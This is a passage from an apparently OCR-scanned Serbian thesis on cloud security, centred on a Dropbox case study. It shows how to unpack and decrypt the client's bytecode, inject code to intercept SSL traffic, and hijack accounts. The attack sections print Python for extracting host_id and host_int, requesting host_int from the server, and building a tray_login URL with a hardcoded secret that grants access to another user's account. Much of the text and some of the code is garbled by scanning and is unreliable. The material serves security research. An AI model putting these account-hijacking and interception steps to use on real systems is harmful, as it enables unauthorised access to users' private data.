= Bezbednost Data centra

= Planova

Osim toga, IT revizori mogu prepdiiti poboljSanja kontrole, i oniesto kestvuju
u procesu razvoja sistema kako bi pomogli orgatjizde izbegnu skupe prepravke nakon
implementacije sistema.

3.4.1.8 Odgovornost

Predstavlja sposobnost da se utvrde postupci iJaoj@a pojedinca unutar cloud
sistema i da se identifikuje ta odema osoba. Zapisi revizije podrzavaju odgovornost i
mogu se Kkoristiti za sprodenje studija u cilju analize istorijskih datga i pojedinaca ili
procesa u vezi sa tim datmima. Odgovornost je povezana sa konceptom ne
opovrgavanja, ptemu pojedinac ne moze poérebavljanje neke radnje.
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4 Studija sluéaja : Dropbox

Dropbox je servis za skladiStenje podataka u obkaikoristi viSe od 100 miliona
korisnika. Uprkos njegovoj rasprostranjenoj popudesti, Dropbox kao platforma nije
dovoljno intezivho analizirana sa bezbednosrieteglediSta. Takde, prethodni radovi
bazirani na analizi bezbednosti Dropbox-a su Lkegineri cenzurisani. Stavi$e, posige
Python tehnike obrnutog inzenjeringa nisu dovoljiaese izvedu na aplikacije kao Sto je
Dropbox.

Ovaj rad opisuje metod za “zaobilazenje” dva korakaentifikacije unutar
Dropbox servisa i otimanje Dropbox naloga. Poreghi@mpsSte tehnike za presretanje SSL
podataka putem ubrizgavanja koda i tehnike monletghing-4’ su predstavljene.

Smatram da naj¥e doprinos koji donose analize DropBox platformestge
“otvaranje” platforme za dalju analizu bezbednbsirazivanja.

4.1 Uvod

DropBox klijenti rade na oko deset platform i mnagi tih klijenata su pisani u
Python jezikd® Klijent se sastoji od modifikovanog Python preiemé koji koristi
modifikovani Python bajt koda. Metim, Dropbox nije open source, tako da izvorni kod
nije dostupan klijentima. Stavise, APlkoji koriste raznih DropBox Klijenti nije
dokumentovan.

Sto dovodi do zakljtka da pre slanja podataka na servis kao $to jelddsqmbi bilo
mudro da se zna vise o unutrasnjosti Dropbox-anRito bezbednosti procesa otpremanja
podataka, dva koraka(dvo fazna) autentifikacijeripeije podataka su jedna od vaznijih.

Rad pokuSava da odgovori na ova pitanja i joS mnmg@. U ovom radu je
pokazano da se raspakuje, desSifruje i razlozi DogptKada imate razloZzen izvorni kod
Dropbox-a onda mozete videti kako on radi u detalju

U radu se koriste razne tehnike ubrizgavanja kodajmun krpljenje (monkey-
patching) radi presretanja SSL podataka u Dropbigenku. Takaie tehnike su dovoljno
generéke da bi mogle biti uspesno kaigéhe za presretanje SSL podataka i u drugim
aplikacijama pisanim u Python programskom jezikeStB su ove tehnike dovoljno
generéke one bi samim tim mogle da pomognu u ke razvoju, testiranju i
bezbednosnom istrazivanju softvera.

Ovaj rad otkriva unutrasnji API koji koristi Dropkdklijent i ¢ini jednostavno
pisanje portable verzije open-source Dropbox kigerEttercap i Metasploit plug-inovi
(koji sluze za posmatranje LAN syfcprotokola i otmicu r&una) su kori€eni za
razbijanje raztitih aspekata bezbednosti Dropbox servisa. Porgal tate pokazano kako
da se zaolie dvo fazna autentifikacija i kako da se dobijetogp korisntkim podacima.

47 Natin da se prosiri ili modifikuje run-time kod dinatkih jezika bez promene izvornog koda

“HUNTER, R. How dropbox did it and how python helpegiCon 2011 (2011).

“9AP| — aplikacioni programski interfejs koji defigighaine na koje aplikacije mogu da zahtevaju uslugevise) od
biblioteka ili opertivnih sistema

CKkarakteristika Dropbox servisa koji drasto ubrzava sinhronizovanje kada se podaci nalazaSem LAN-u
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4.2 Postoje&ti radovi

U ovom odeljku, pokriveni su post@jeradovi vezani za bezbednosnu analizu
Dropbox servisa i prethodno objavljene tehnike reseengineering-a Python aplikacija.
Critical Analysis of Dropbox Software Securityanalizira Dropbox verzije od 1.1.x do
1.5.x. Meiutim, tehnike predstavljene u tom radu nisu dowlgenerike da se nose sa
promenama u metodama enkripcije Dropbox-a i, urstvee rade za Dropbox verzije
>=1.6. Jo$ jedan alat zove se dropboxdédropbox Bytecode Decryption Tool) vise ne
funkcioniSe, odnosno moZze da funkcioniSe samogaithima za enkripciju koréenim u
raniji verzijama Dropbox-a (1.1.x). U ovom raduws@otpunosti zaobilazi korak bajt-kod
dekripcije.

Tehnike predstavljene u radu pod nazivom ,pyREtime rade protiv Dropbox-a
od kako co_code (code object attribute which costddytecode) ne moze da pristupi
Python sloju aplikacije. Osim toga, kija tehnika koju Kkoristi pyretic (zamena
originalnog .pyc bajt-koda fajla sa Zeljenim .pyjlden) za dobijanje kontrole nad
izvrSavanjem vise ne funkcioniSe. Dropbox je zakrgtiandardnu funkciju importovanja
koja je winila Kklju¢nu pyREtic tehniku beskorisnom. Ovaj problem se bdawi
kori&enjem standardnih tehnika ubrizgavanja koda kageSReflective DLL injectior’
(Windows platforma) | LD_PRELOAP (Linux platforma). Takde, tehnike opisane u
Reverse Engineering Python Applicatithse rade iz istih razloga. Ovaj problem se moze
zaobti trazeti co_code atribut na C sloju.

Jos jedan interesantan napad na starije verzijpliawoservisa jeste implementovan
u dropship alati. U sustini dropship omogava korisniku da dobije pristup datotekama
koje nisu u njegovom vlasnistvu, pod uslovom daiskok ima ispravne kriptografske
hesh-ove Zeljenih podatka.. Meim, Dropbox je zakrpio ovaj napad i od tada nije
pronaien sltan napad.

*IRUFF, N., AND LEDOUX, F.A critical analysis of dropk software security. ASFWS 2012, Application Setyuri
Forum (2012).

S2FRITSCH, H. Dropboxbytecode decryption tdlps:/github.com/rumpeltux/dropboxd&012.

3SMITH, R. pyretic, in memory reverse engineering dofuscated python bytecode. BlackHat / Defcon 2€8durity
conferences (2010).

®FEWER, S. Reflective DLL injectiomww.harmonysecurity.com/files/HS-P00ReflectiveDllinjection.pdf, 2008.
%GNU. LD_PRELOAD - dynamic linker and loader featuttp://man7.org/linux/man-pages/man8/id.so.8.hta#87.
PORTNOY, A., AND SANTIAGO, A.-R.Reverse engineeringthmn applications.In Proceedings of the 2nd
conference on USENIX Workshop on offensive techgige (2008), USENIX Association, p. 6.

S"VAN DER LAAN, W. dropship - dropboxapi utilitiefittps://github.com/driverdan/dropship011.
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4.3 Razbijanje Dropbox-a

U ovom odeljkuc¢e biti objaSnjeni raziiti nacini da se reverse engineer-uje
Dropbox aplikacija na Windows i Linux platformi. Alizirane su Dropbox verzije od
1.1.xdo 2.2.8.

Dropbox Klijenti za Linux, Windows i Mac OS su ughom pisani u Python
programskom jeziku. Sam klijent predstavlja modifini interpreter koji koristi
modifikovani Python kod. Na Windows platformpy2ex&® se koristi za pakovanje
izvornog koda i generisanja potpune aplikacije.Kbestvidena verzija Python tunia
(interpretet®) moZe se izvéi iz PE (Portable ExecutalSf resursa kori¢enjem alata kao
$to su PE Explorer ili Resource HacKerDropbox.exe takte sadrzi ZIP fajl svih
Sifrovanih .pyc fajlova koji sadrze sakriveni blagiel.

Na Linux-u, Dropbox je najverovatnije upakovan upbbm bbfreze alatd>
Bbfreze koristi statko povezivanje (izm#u Python tumé& i OpenSSL biblioteke) i kao
takav ne postoji zajedtka biblioteka koja moze da se “izvadi” napolje iabnra
kori&enjem debuggét-a ili disassembléf-a

4.3.1 Otpakovanje Dropbox procesa

Genertki unpacker kori&en za Dropbox.exe izvrsni fajl je poptiho jednostavan. Ovim
¢emo izdvojiti .pyc fajlove u folder koji se nazivaytecode encrypted. .pyc fajlovi
sadrz& 4-bitni magéni brof®, 4-bitni modifikacioni p&at i mar3alni (marshallég
objekat.

import zipfile

from zipfile import PyZipFile

fileName = "Dropbox.exe"
mode = "r"

ztype = zipfile.ZIP_DEFLATED

f = PyZipFile(fileName, "r'", ztype)
f.extractall("bytecode_encrypted")

slika 4:1Ekstraktovanje Dropbox.exe

RETZLAFF, J. py2exe, distutils extension to buildarstalone windows executable programs from python
scripts.https://pypi.python.org/pypi/bbfreeze/, 200

9 Kompjuterski program koji direktno izvrSava indtcije napisane u programskom jeziku, bez da ihhodto
kompajlira u program masinskog jezika

60 Fajl format za izvrSne,object code, DLL i FON dajé i druge korigene u 32bit i 64 bitnim verzijama Windows
operativhog sistema

®1 Link http://www.heaventools.com/overview.hthitp://www.angusj.com/resourcehacker/

®25chmitt, R. bbfreeze, create standalone executiiblespython scriptshttps:/pypi.python.org/pypi/bbfreeze&l007.

63 Kompjuterski program koji se koristi za analizij@izvrsnog koda drugih programa zbog otklanjamgSaka

64 Kompjuterski program koji prevodi masinski u aséentki jezik-predstavlja u ljudiméitljivom obliku

85BATCHELDER, N. The structure of .pyc filekttp://nedbatchelder.com/blog/200804/the_ structofrepyc_files.htm| 2008.

% Moze predstavljati konstantnu numiw ili tekstualnu vrednost koja se koristi da senitffikuje format fajla

7 Predstavlja memorisku reprezentaciju objekta jesifansformisan u format pogodan za skladitéimjensmisiju
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4.3.2 DeSifrovanje Sifrovanog Dropbox bajt koda

Sledée Sto se radi jeste da se izdvaja prithgo Python tumé& pod nazivom
Python27.dll iz PE resursa Dropbox.exe izvrSnogafépri¥enjem PE Explorer alata.
Ovaj Python27.dll fajl iz Windows verzije Dropboxj@analiziran kori&njem IDA pro i
BinDiff kako bi se videlo koliko se razlikuje od bhog .dll tum&a. Analizom je
pronaleno da mnoge standardne funkcijedmé&ojima su PyRun_File() i marshal.duffip
Su “onemogdene”.

Pregled ekstraktovanih .pyc fajlova otkriva da wstpje vidljivi stringovi Sto nije
slwaj sa normalnim nemodifikovanim .pyc fajlovima. Owaplicira da enkripcija (ili neka
vrste kodiranja) je koréena od strane Dropbox-a kako bi se zastitio bagjt-Rsondeno je
da su Python-ovi r_object()-i u (marshal.c) funkaiodifikovani kako bi mogli da
deSifruju objekte prilikom ¢&itavanja. Pored toga, Dropbox-ovi .pyc fajlovi It
nestandardne magie brojeve, méutim to nije teSko popraviti. Da bi se deSifrovadfbr,
r_object() poziva drugu funkciju unutar Python2l7fdJla. Pronden je n&in kojim moze
da se pozove ova funkcija izvan DLL fajla i ondasg@adeSifrovani bajt-kod upiSe na disk.

Da bi ovakav metod uspeo, nema potrebe analialgtiritam enkripcije, kljteve,
i slicno. Meaiutim, ovaj metod podrazumeva pozivanje na adregal jeoubgena direktno
u izvrsni kod fard-coding, a upravo ona poziva funkciju desifrovanja. Potega, na
Linux operativnhom sistemu, sve je stath linkovano u jedan binarni fajl i funkcija
deSifrovanja je ukb#na u r_object(). Dakle, viSe je nemoégupozivati ovu funkciju
deSifrovanja samu po sebi.

Da bi se prevaziSao ovaj problem, koristi se vidleustan pristup, a on je utovar
.pyc fajlova u memoriju sa diska i onda postepehoviaati nazad. Kori&njem
LD_PRELOAD (Reflective DLL injectioff) mogute je ubaciti C kod u procese unutar
Dropbox-a, i onda oteti C funkciju kako bi se stekbntrola nad kontrolom protoka i na
kraju se moze ubaciti zeljeni Python kod pozivanfeyiRun_SimpleString (Python C API
funkcija koja nije zakrpljena). Otuda je maguda se izvrSi Zeljeni kod unutar Dropbox
klijenta.

Sledee Sto treba uraditi jeste naterati Dropbox da upadces deSifrovanja za nas.
Iz ubaenog koda mozemo pozvati PyMarshal_ReadLastObmiFie() koji Witava
objekat koda iz Sifrovanog .pyc fajla. Dakle, u nmeijn u sustini imamo nesSifrovani
objekat koda na raspolaganju. &0éim, co_code string (koji sadrzi bajt-kod instrj&g
nije izlozen na Python nivou. Koé&njem linearne pretrage memorije locira se ovaj
deSifrovani objekat koda i onda se daau fajl. Meiutim, to opet nije jednostavno, jer
marshal.dump metod je uskem. Drugim réima, transformisanje objekta u odgovataju
oblik (marshaling) je izbgeno iz modifikovane verzije Python koda koji kariBropbox.
Zbog toga, potrebno je koristiti PyPy_marshal’dsoji ubrizgavamo u pokrenut Dropbox
process.

%8 Funkcija dump omogiava upis u otvoreni fajl
% predstavlja tehniku ubrizgavanja biblioteke kakeebbiblioteka titala iz memorije u host proces
RIGO, A., ET AL. Pypy, python interpreter and justtime compilerhttp://pypy.org/, 2009.
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Dropbox konstantno menja emu enkripcije bytecadg-®ropbox 1.1.x, TEA
Sifrat, zajedno sa RNG pren nekim vrednostima ugtenim u objekat koda svakog
python modula, se koristi za obavljanje Sifrovabgit-koda. Dropboxdé@alat koji je
koristio upravo RNG za dobijanje Zeljenih infornjagie postao neupotrebljiv kada je u
Dropbox 1.1.45 RNG funkcija promenjena. Ukratkoe gwomene Sema Sifrovanja koje
koristi Dropbox su popriino efikasne protiv starijin metoda reverse engingea.

Koris¢enjem metode opisane u ovom radu Dropbox nama dkgédrovani fajl.
Upotreba ovog nana je mnogo kréa, lakSa i pouzdanija od onog koji se koristi u
dropboxdec alatu. Ovaj metod je robustan, jer nitreba da se bavi konstantno
menjajiim algoritmima deSifrovanja. Talde, tehnike opisane u ovom delu su dovoljno
genertke i kao takve rade i na analizi drugih “smrznutPython aplikacija kao sto su
Druva inSync i Google Drive Insync klijent.

4.3.3 Opcode remapping

Jedna od tehnika koje koristi Dropbox kako bi gréehnike reverse engineering-
a jeste Opcode remapping. DeSifrovan .pyc fajlovaju validne stringove ali .pyc fajlovi
ne uspevaju biti Gtani od strane standardnog prevodioca zbog zamegjepcode-&

Cpython je jednostavan opcode tumkoji je dug&ak svega 1 bajt. Ceval.c
predstavlja veliki switch statement unutar loopljpetoja procenjuje opcode. U Dropbox-
u, on (ceval.c) je izmenjen kako bi koristio raité opcode vrednosti. UspeSno j&ma
obavljeno vréanje ovog mapiranja komparacijom "razlozenog" DLl €eval.c
(standardni CPython fajl). Matim, ovaj proces je vremenski konzumir@ju ne¢e biti
srazmeran ukoliko Dropbox odiuda koristi neznatno dru@ige mapiranje operacionog
koda u novijim verzijama.

Tehnika koja se koristi za zaobilaZzenje ove zatitepisana u pyREt¢ radu i
delimicno se koristi u drop-boxdecd“u Ukratko, bajt-kod Dropbox-a je upden naspram
standardnog Python bajt-koda za zajek@imodule. Ova tehnika sama po sebi ne radi
protiv Dropbox-a jer co_code (bytecodni sting) rdiestupan na Python nivou i Python
import je zakrpljen kako kako .py fajlovi ne bi niogiti koriS¢eni. Maiutim, moguée je
uporediti dekriptovani Dropbox bytecode, dobijeni&enjem opisane metode u radu, sa
standardnim bytecode-om za Python moduleti do zakljuwka kako se opcode mapiranje
koristi od strane Dropbox-a.

Medutim, nije istrazeno u detalje kako ova i druge omdtizovane tehnike
dedukcije opcode-a funkcioniSu jer u praksi, map@aopcode-a unutar Dropbox-a nije
menjano od verzije 1.6.0. U sléden odeljkuce biti opisano kako da se dekompajliraju
"dobavljeni" .pyc fajlovi

"L Tiny Encription Algorithm - Blok sifrat prepoznatijpo svojoj jednostavnosti implementacije i upbee
"?FRITSCH, H. Dropbox bytecode decryption tbtps://github.com/rumpeltux/dropboxdex012.

73Opcode (Operation code) je deo instrukcije masigg&oika koji specifira kakée neka operacija biti izvrSena, taleo
opcode moze biti prodan u takozvanim bytecode i osatalim reprezentacijpamenjenim za softverske tufea
umesto za uragje.

" SMITH, R. pyretic, in memory reverse engineeringdbfuscated python bytecode. BlackHat / Defcon 2¥durity
conferences (2010).

S FRITSCH, H. Dropbox bytecode decryption tdukps://github.com/rumpeltux/dropboxde2012
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Za dekompajliranje desifrovanog Python bytecodeask se uncompyle?, koji
je Python 2.7 bytecode dekompajler. Uncompyle2 gednpstavan za kofiénje i
dekompajliran izvorni kod funkcioniSe normalno. pama njega izvden je ceo Python
source kod koji se koristi unutar Dropbox-a.

U sledéem odeljku, analizikemo kako funkcioniSe autentifikacija unutar
Dropbox-a i predstagemo neke napade na njega.

4.4 Bezbednost Dropbox-a i napadi

Pristup Dropbox-u zahteva od korisnika da ima gorteeakreditive (e-mail adresu i
lozinku). Isti akreditivi su takde potrebni kako bi se povezali deg sa Dropbox nalogom.
U ovom procesu registracije, dagu krajnjeg korisnika je dodeljen jedinstven ha$koji
se koristi za sve buda operacije autentifikacije. Drugim diena, Dropbox Kklijent ne
skladisti ili koristi korisntke akreditive posto je vezan za korisnikov nalog.hést_id ne
utice promena lozinke i on seva lokalno na uaju krajnjeg korisnika.

U starijim verzijama (< 1.2.48) Dropbox-a, ovaj had je bio ¢uvan lokalno u
jasnom, ne Sifrovanom obliku, u SQLite bazi podatagod nazivom config.db.
Jednostavnim kopiranjem ove SQLite baze podatakaraogu masinu, bilo je moda
dobiti pristup podacima ciljanog korisnika. Ovapad je detaljno opisan u radDropbox
autentifikacija : ne bezbedna po dizajAl"

Zbog ovog propusta, Dropbox od verzie 1.2.48 palatja, host_idcuva u
Sifrovanoj lokalnoj SQLite bazi podatdRaMedutim, host_id se i dalje moZe ekstraktovati
iz Sifrovane SQLite baze podatakBHOME/.dropbox/config.dixposto tajni input-i koji
se koriste kod izudenja kljuta za Sifrovanje/enkripciju baze podataka se skiadid
uredaju krajnjeg korisnika, ono Sto treba imati na ueste da lokalno skladiStenje takvih
tajni se ne moZze izbeposto Dropbox klijent zavisi od njih kako bi furiknisao.

Na Windows platformi, koristi se DPAPI enkripcij@ldna Linux platformi réno
napravljen obfuscat6t Relativno je jednostavno otkriti gde se tajneadidte i kako se
izvodi Klju¢ Sifrovanja/enkripcije. Potreban kod za to na Lingkatformi je u
common_util/keystore/keystore_linuxfpju.

dbx-keygen-linu¥ je takale sposoban za otkrivanje ki Sifrovanja/enkripcije.
On takale sluzi za deSifrovanje filecache.dbx Sifrovaneebpeadataka koja sadrzi meta
podatke i koji mogu biti korisni u foren&e svrhe.

Pored toga, joS jedna vrednost host int je sadgudgkla u proces provere
autentifikacije. Nakon analize Dropbox sadiaja, otkriveno je da host_int se prima od
servera pri pokretanju i da se on tdé&ame menja.

S WIBITI, E LOI VANDERBEKEN, F. L., ET AL. uncompyle2a python 2.7 byte-code decompiler, written in pytho
2.7.https://github.com/wibiti/uncompyle2.gi2012.

7 NEWTON, D. Dropbox authentication: insecure byigeshttp://dereknewton.com/2011/04/dropbox-authenticati
static-host-ids2011.

8 SQLITE@HWACI. COM. The sqlite encryption extenstutp://www.hwaci.com/sw/sglite/see.htr@008.

9 Softver korigen od strane programera kako bi sakrio svrhugiikio koda, tehnika bezbednosne zastite

8 RUFF, N., AND LEDOUX, F. Encryption key extractarfdropbox dbx fileshttps://github.com/newsoft/dbx-keygen-

linux.git, 2008.
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4.4.1 Klju ¢ bezbednosti Dropbo-a

Dropbox klijent ima zgodnu karakteristiku koja omiégva korisniku da se ulogu
na svoj nalog bez pruzanja bilo kakvih akreditiVa. se radi tako Sto se izabere op
"Launch Dropbox Websitéz leziSta ikone Dropbo»

nje Dropbox klijenta

Dropbox klijent obavlja ovaj proc uz poma@

. . L ) Launch Dropbox website
dve vrednosti, host id i host_ikoje su klj&ne za

ovaj proces i kljgne za samu bezbednost Drop-a. FESEY B R '
Odnosng znajui host_id i host_int vrednosti ko 0.1% of 2.2GB used

koristi Dropbox dovoljno je za pristup svim podaei

Zelienog Dropbox klijenta. host_id se mc All files up to date

ekstraktovati iz Sifrovane SQLite baze podatakazi

.. s - . . . (Get more space
memorije mete koriste razlicite tehnike ubrizgavan]

koda. Pause syncing
host_int moZe biti sniffovan iz saokea Preferences..
Dropbox LAN sync protokola. lako ovaj protok Help center

moze da se isklfii, on je podrazmevano ukljgen.
Kori&¢enjem Ettercap plug-a®> moZe se obauviti
daljinsko sniffovanje host_int vrednosti unutar L~ BRETEES BFHRE 12:33 AM
a. Takae je noguke da se izvke vrednost i
memorije ciljnog raunara.

Exart

02-Jul-14

Postoje zanimljivi napadi na Dropbox verzije (<#6.X) u kojima je bilo mogte
ekstaktovati host _id i host_int vrednosti iz-ova generisanih od strane Dropbox Klijel
Medutim Dropbox Klijent eneriSe ove logve samo kada je posebna promen;
okruzenja DBDEV pravilno podeSena. Dropbox poke kreiranje lo-ova samo kada
MD5 checksum od DBDEYV piinje sa "c3da6009e4". DzZejms Hal je uspeo da redj
delimicni MD5 hash i otkrio je da string "y6shya" generiSe p@bnu MD5 koliziju.
Koriéenje Metasploit plu-ina®® nam omoguava daljinsko otimanje Dropbox nalog
Ovaj plugin je zakprljen od strane Dropl-a ubrzo posto je skrenuta paznja ljegovu
potencijalnu zloupotrebu.

81 KHOLIA, D. db-Ispdisc dissector to figure out host_ihttps://github.com/kholia/ettercap/tree/drop, 2013.
82 KHOLIA, D. Long promised post module for hijackidgopboxaccounthttps:/github.com/rapid7/ metasp-
framework/pull/14972013.
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host_id = ?
host_int = 2

baseurl = "https://www.dropbox.com/tray_login"
fixed_secret = "ssKeeviedjeeVie9bEen5baRFing"
now = int (time.time())

h = hashlib.shal('%s%s' % (fixed_secret,
host_id, now)) .hexdigest ()

url = "%$s?i=%d&t=%d&v=%s&url=home&cl=en_US" %
(baseurl, host_int, now, h)

print url

slika 4:3 Auto-login bajt koda

Kao Sto je pomenuto ranije, host_int vrednost jemfpena od strane servera
prilikom pokretanja klijenta i da se ona ne memjakle, mogde je pitati sam Dropbox
server za ove vrednosti, bas kao Stoino Dropbox klijent.

host_id = ?

ctype = 'application/x-www—form-urlencoded'
baseurl = 'https://clientl0.dropbox.com/"
data = "buildno=Dropbox-win-1.7.5&tag=6&\

uuid=123456&server_list=Trues&\
host_id=%s&hostname=random” % host_id
headers = {'content-type': ctype}
r = requests.post (url + 'register_host’',
data=data, headers=headers)

data = json.loads (r.text)

host_int = data["host_int"]

slika 4:4 Trazenje zahteva za host_int
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4.4.2 Otmica Dropbox naloge

Jednom kada su host_id i host_int vrednosti zadetheg Dropbox klijenta poznat
mogue je da se dobije pristup tom nalogu kéei§em sledéeg koda. Ovaj metod
dobio naziv tray_login metc

import hashlib
import time

host_id = <UNKNOWN>
host_int = <ASK SERVER>

now = int (time.time())
fixed_secret = 'sKeeviedjeeVie9bEenSbaRFinY’

h = hashlib.sha1( (fixed_secret,
host_id, now)).hexdigest()

url = ( "https.//www.dropbox.com/tray_login?"
"I=%d&t="%d&v="%s&url=home&cl=en"
(host_int, now, h))

Izlaz urla u gore navedenom kodu, daje osobi pristropbox nalogu ciljano
korisnika. U prethodnom odeljku je pokazan metokibkda se dobije host_int vrednost
samog Dropbox servera. Dakle, ukratko, ponovo jesalen napad (koji je opisan rar
u radu) na Dropbox naloge koji zahteva poznavaajacshest_id vrednosti kako bi ¢
omoguio pristup ciljanom Dropbox nalog

lako je ovo relativno nova tehnika za otmicu Dropin@loga i trenutno radi dobr
primeteno je da Dropbox priprema klijente kég onemoggiti tray_login mehanizam (St
bi onemoguilo naSem "korisniku" da se automatski prijavi na sn®ni se oslanjaju r
jace metode skrivanja b-koda i random nonces (primljene od servera) za rgganmge
adresa za automatsko prijavljivanje (e-login URL).
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4.4.3 Presretanje SSL podataka

U prethodnim uzorcima koda, koristili smo nedokutogan Dropbox API. U
ovom odeljkuce biti opisano kako je otkriven interni API. PostojSSL MiTM (Engl.
Man-in-the-middlg alati (hpr. Burp Suit® ne mogu sniff-ovati saobiaj posto Dropbox
klijent koristi hard coded SSL sertifikate. Porasgd OpenSSlI biblioteka je statb
povezana sa Dropbox izvrsnim fajlom. Binarno knpkeje teSko i dugotrajno. Ovaj
problem se mimoilazi koré&njem Reflective DLL injectiofi metode na Windows
platformi i kori§&enjem LD_PRELOADB* na Linux platformi kako bi se dobila kontrola
nad izvrSavanjem, péana majmunskim krpljenjéthsvih "zanimljivih" objekata.

Kada smo u stanju da izvrSimo proizvoljrimpongg
kod unutar Dropbox klijenta, mi krpimo sve SS
objekte i u mogénosti smo da preturamo p«f=open (" SSL-data.tx ", "w ")
podacima pre nego Sto se Sifruju (na stre .
posiliaoca) i posto su desifrovani (na prijemndefzzltgriags(larrg:g; saved(args)
strani). f write(str(data))

Upravo to predstaviia g na koji "o
presretamo SSL podatke. U sleeim kodu je def patch_object(obj)
predstavljeno kako se lociraju i krpe "zanimljivi  if isinstance(obj, SSLSocket) \

Python objekti u toku rada. and not hasattr(obj, "marked" ).
obj.marked = True

ssl_read_saved = obj.read
obj.read = ssl_read

while True:
objs = gc.get_objects()

for obj in objs:
patch_object(obj)

time.sleep(1)

slika 4:6 Krpljenje Python objekata

8 FEWER, S. Reflective DLL injectiomvww.harmonysecurity.com/files/HS-P005_ReflectiveBiiiction.pdf 2008.
8 GNU. LD_PRELOAD - dynamic linker and loader featurt#p://man7.org/linux/man-pages/man8/ld.so.8.htraB7.
8 Monkey patch, modifikovanje run-time koda dingkag jezika.http://en.wikipedia.org/wiki/Monkey patch
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Otkriveno je da dv-faktorna autentifikacija (2FA), kakvu koristi Dropx, Stiti
samo odneovlagenjog pristupa Dropbox veb sajtu. Interni klijentgl koji koristi
Dropbox ne podrzava ilne koristi dvo-faktornu autentifikacijuSto nas dovodi d
zakljutka da jedovoljno imati samo host_id vrednost kako bi seidgiistup podacim.
mete.

Ukratko je pomenuto ranije da je ma@guizdvoijiti host_id i host_int iz Dropbc
memorije klijenta posle preuzimanja kontrole nadoto izvrSavanjakoris¢enjem
Reflective DLL injection ili LD_PRELOAD tehnike. 8tl€i deo koda prikazuje kak
tatno ovo moze biti postignul

1. Inject code into Dropbox.
2. Locate PyRun_SimpleString using dlsym

from within the Dropbox process

(9%]

Feed the following code to the located

5 W %%

PyRun_SimpleString

objs = gc.get_objects()
For cb] in objs:
if hasattr(ocbj, "host_id"):
: obj.host_id
f hasattr(obj, "host_int"):
obj.host_int

Od ove tehnike njuskanja po objektima je veoma desistititi se.Cak i ako
Dropbox nekako spte napadée od sticanja kontrolnad tokom izvrSenja, joS uvek
mogue Koristiti napade bazirane na princ njuskanjapo memorij®® kao Sto su
implementirani u passeartou®’. Budui planovi white hat zajednice jeste da se upi
napadima njuskanja po memoriji naprave joS robusreiodi otimanja nalog:

% proces gde individualni keS motri adresne linijgpdatup memorijkim lokacijama koje su keSine
http://en.wikipedia.org/wiki/Cache_cohere
87 COLLIGNON, N., AND AVIAT, J.-B. passe-partout, extract ssyate keys from process memo
https://github.com/kholia/pasgetrtou, 2011.
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5 Zaklju ¢ak

5.1 Sumarni ciljevi rada i rezultati

U ovom radu kroz analizu bezbednosti infrastrukttloeid servisa upoznali smo se
sa problemima koji predstavljaju nafeeprepreku Sirem usvajanjuctanarstva u oblaku.
Ovaj rad je istrazio izazove u primeni i upravljanjslugama u cloud infrastrukturi sa
bezbednosne ke glediSta i kroz praiavanje studije sktaja servisa Dropbox otkriveni su
nedostaci unutar same platforme koji narusavajoos principe bezbednosti.

Dropbox koristi razliite tehnike kako bi odvratio potencijalne napsalgoput
enkripcije bajt-koda, koréenjem opcode remapping-a icslo. Metutim, utwieno je da
dva kljuwtna elementa (host_id i host_int) na kojima se bagroces autentifikacije
korisnika predstavljaju naj¢a opasnost po bezbednost naloga i samim tim poeloeznist
podataka. Takde u radu su opisane metode kojima se te opasmzstielativno malo
truda, mogu potencijalno iskoristiti za otmicu rgdoi kasnije zloupotrebu istog radi
manipulacije podataka.

5.2 Predlog za budwi rad

Postoje mnoge stvari koje treba istraziti u bimhsti, meéu kojima je
najzanimljivija otkrivanje novih napada na LAN symmtokol koji koristi Dropbox.

Takaie napadi koji su ranije bili uspesni korigtaktivirano evidentiranjeEngl.
logging), iako sada neupotrebljivi, imaju veliki potentijda ponovo budu uspesni.
Aktiviranje evidentiranja sada u Dropbox-u zahtebijanje punog SHA-256 heSa
(e27eae61e774b19f4053361e523c771a92e838026da4B060eOch2bc825).  Oan
tekst koji odgovara ovom heSu mora biti poslat eksi Dropbox klijentu, u cilju
aktiviranja evidentiranja, ali vrednost tog otvoogrteksta nije poznata.

U nekom trenutku, Dropbog&e onemogéiti postojei tray login metod i time&e
uciniti otimanje naloga tezim. Dakle krajnji cilj buéeg rada jeste pronalazenje novih
metoda da se to uradi.
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